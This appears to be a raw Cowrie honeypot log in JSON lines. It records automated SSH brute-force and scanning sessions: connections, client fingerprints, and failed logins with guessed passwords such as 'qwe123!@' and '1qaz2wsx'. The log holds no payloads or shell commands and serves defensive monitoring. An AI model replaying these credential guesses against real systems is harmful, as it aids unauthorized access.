{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:f9:64:27:1f:91:65:38:b7:69:17:00:f5:e6:40:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpK+R8LNuN+0oBLDZ+HKt69vq3k92SBFLhSfTPLIU8ZUzgCrVXNwmsTrO5DFTGzkfWAgjCXp18o+Ldniqth1HJg7kq3QautadteToVfwpi4Tttah71F8QDF6bYZX5y84O//vs27yaVzAqLbuitA4KM6U9qcA0ED1yBDTueOZkYgmY/4sh1i4WMpr4+Czd7iBaScI1tk5xicBdcg2Yf1RUVelCfSubDDbtubYPbMYoqSMPOaNmtGbutsR+CVsIrgnZiKiqUszyup3w4/BISnsZ556qVjR/RjudTAhoAW4GH7iubIVp249Ce/5f0kZqP6KPQ1WUkiz4ClnRR1/PnGLN9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.030172Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:4b:c0:ff:f6:57:4d:42:37:80:d9:b5:12:40:34:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1seViN/TLGlEJ7n0qivDtlDaAs4CWWYHCV0FV8JTaqfUnmcVlS1AAM3vM4EIGN3yhUsJ6H54SPG8QUCNXkMAWx2vIwzOntJIOcDcDoZSzsJgWoIk2KqpjVkMtb4vrUsQG/gK0Hrzew9VOO4iyhQ08bphVgAjCu9VYFhTPqTXD0F5R4tRWuJa+C4StQogTi/T0PR3rK7tRSmR/d7+MA1RJYZlc+Ed/8irMr3aJdjNkauNeQ/czBgLYZFVzi8rXWNJdxaY9orwGXKXOOQkQPDChLrptgCuA8NNZUV8KLowm/YeX/QKR3EkxE2zvvrrEK4VsLCzhwMobxRQkemV6P/mUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:4b:c0:ff:f6:57:4d:42:37:80:d9:b5:12:40:34:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.066770Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:4b:c0:ff:f6:57:4d:42:37:80:d9:b5:12:40:34:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1seViN/TLGlEJ7n0qivDtlDaAs4CWWYHCV0FV8JTaqfUnmcVlS1AAM3vM4EIGN3yhUsJ6H54SPG8QUCNXkMAWx2vIwzOntJIOcDcDoZSzsJgWoIk2KqpjVkMtb4vrUsQG/gK0Hrzew9VOO4iyhQ08bphVgAjCu9VYFhTPqTXD0F5R4tRWuJa+C4StQogTi/T0PR3rK7tRSmR/d7+MA1RJYZlc+Ed/8irMr3aJdjNkauNeQ/czBgLYZFVzi8rXWNJdxaY9orwGXKXOOQkQPDChLrptgCuA8NNZUV8KLowm/YeX/QKR3EkxE2zvvrrEK4VsLCzhwMobxRQkemV6P/mUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.069676Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:a9:3f:17:ba:8e:66:aa:2e:6e:fd:58:06:89:ea:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOv8lvqTNg65dZd35wXFRzV+14NeZGUtVcTDAemNsrBZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5d:a9:3f:17:ba:8e:66:aa:2e:6e:fd:58:06:89:ea:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.107694Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:a9:3f:17:ba:8e:66:aa:2e:6e:fd:58:06:89:ea:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOv8lvqTNg65dZd35wXFRzV+14NeZGUtVcTDAemNsrBZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.110698Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.115939Z","src_ip":"139.99.74.35","session":"5de7e4ea3df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.125349Z","src_ip":"91.92.40.153","session":"e5e9ec174532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.147535Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48746,"dst_ip":"159.203.135.109","dst_port":22,"session":"e51d11b71b9f","protocol":"ssh","message":"New connection: 139.99.74.35:48746 (159.203.135.109:22) [session: e51d11b71b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.347328Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34600,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d7b5771903","protocol":"ssh","message":"New connection: 91.92.40.153:34600 (10.17.0.5:22) [session: f3d7b5771903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:01.569103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:01.894336Z","src_ip":"91.92.40.153","session":"f3d7b5771903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:01.897439Z","src_ip":"91.92.40.153","session":"f3d7b5771903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:04.067741Z","src_ip":"91.92.40.153","session":"f3d7b5771903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.497893810272217,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:04.402759Z","src_ip":"170.64.224.25","session":"76fee81d2601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:05.505025Z","src_ip":"91.92.40.153","session":"f3d7b5771903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:06.878513Z","src_ip":"139.99.74.35","session":"e51d11b71b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60206,"dst_ip":"159.203.135.109","dst_port":22,"session":"50287d3ee0f3","protocol":"ssh","message":"New connection: 139.99.74.35:60206 (159.203.135.109:22) [session: 50287d3ee0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:07.103129Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59480,"dst_ip":"10.17.0.5","dst_port":22,"session":"04956b9ed72b","protocol":"ssh","message":"New connection: 91.92.40.153:59480 (10.17.0.5:22) [session: 04956b9ed72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:08.453856Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34380,"dst_ip":"159.203.135.109","dst_port":22,"session":"459f95aff9c9","protocol":"ssh","message":"New connection: 160.187.174.22:34380 (159.203.135.109:22) [session: 459f95aff9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:08.469704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:08.474870Z","src_ip":"160.187.174.22","session":"459f95aff9c9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:08.597531Z","src_ip":"91.92.40.153","session":"04956b9ed72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:08.601138Z","src_ip":"91.92.40.153","session":"04956b9ed72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:09.461305Z","src_ip":"91.92.40.153","session":"04956b9ed72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:10.790045Z","src_ip":"91.92.40.153","session":"04956b9ed72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:11.191691Z","src_ip":"160.187.174.22","session":"459f95aff9c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:11.876019Z","src_ip":"139.99.74.35","session":"50287d3ee0f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:11.905445Z","src_ip":"160.187.174.22","session":"459f95aff9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60230,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8d1dcec0dcd","protocol":"ssh","message":"New connection: 139.99.74.35:60230 (159.203.135.109:22) [session: c8d1dcec0dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:12.104533Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:13.144641Z","src_ip":"160.187.174.22","session":"459f95aff9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57296,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c7367f002e","protocol":"ssh","message":"New connection: 91.92.40.153:57296 (10.17.0.5:22) [session: 36c7367f002e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:14.374558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:14.489867Z","src_ip":"91.92.40.153","session":"36c7367f002e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:14.493676Z","src_ip":"91.92.40.153","session":"36c7367f002e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:15.255804Z","src_ip":"91.92.40.153","session":"36c7367f002e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:16.464995Z","src_ip":"91.92.40.153","session":"36c7367f002e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:16.879374Z","src_ip":"139.99.74.35","session":"c8d1dcec0dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50056,"dst_ip":"159.203.135.109","dst_port":22,"session":"67a42a203826","protocol":"ssh","message":"New connection: 139.99.74.35:50056 (159.203.135.109:22) [session: 67a42a203826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:17.117263Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57356,"dst_ip":"10.17.0.5","dst_port":22,"session":"b98b2e51b524","protocol":"ssh","message":"New connection: 91.92.40.153:57356 (10.17.0.5:22) [session: b98b2e51b524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:20.652406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:20.925116Z","src_ip":"91.92.40.153","session":"b98b2e51b524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:20.928278Z","src_ip":"91.92.40.153","session":"b98b2e51b524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:21.671191Z","src_ip":"91.92.40.153","session":"b98b2e51b524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:21.885858Z","src_ip":"139.99.74.35","session":"67a42a203826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50090,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d8ad6a1407","protocol":"ssh","message":"New connection: 139.99.74.35:50090 (159.203.135.109:22) [session: e8d8ad6a1407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:22.122154Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:22.879349Z","src_ip":"91.92.40.153","session":"b98b2e51b524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33204,"dst_ip":"10.17.0.5","dst_port":22,"session":"502b5f3b62fd","protocol":"ssh","message":"New connection: 91.92.40.153:33204 (10.17.0.5:22) [session: 502b5f3b62fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:26.928921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:26.983847Z","src_ip":"91.92.40.153","session":"502b5f3b62fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:27.100105Z","src_ip":"91.92.40.153","session":"502b5f3b62fd","protocol":"ssh"}
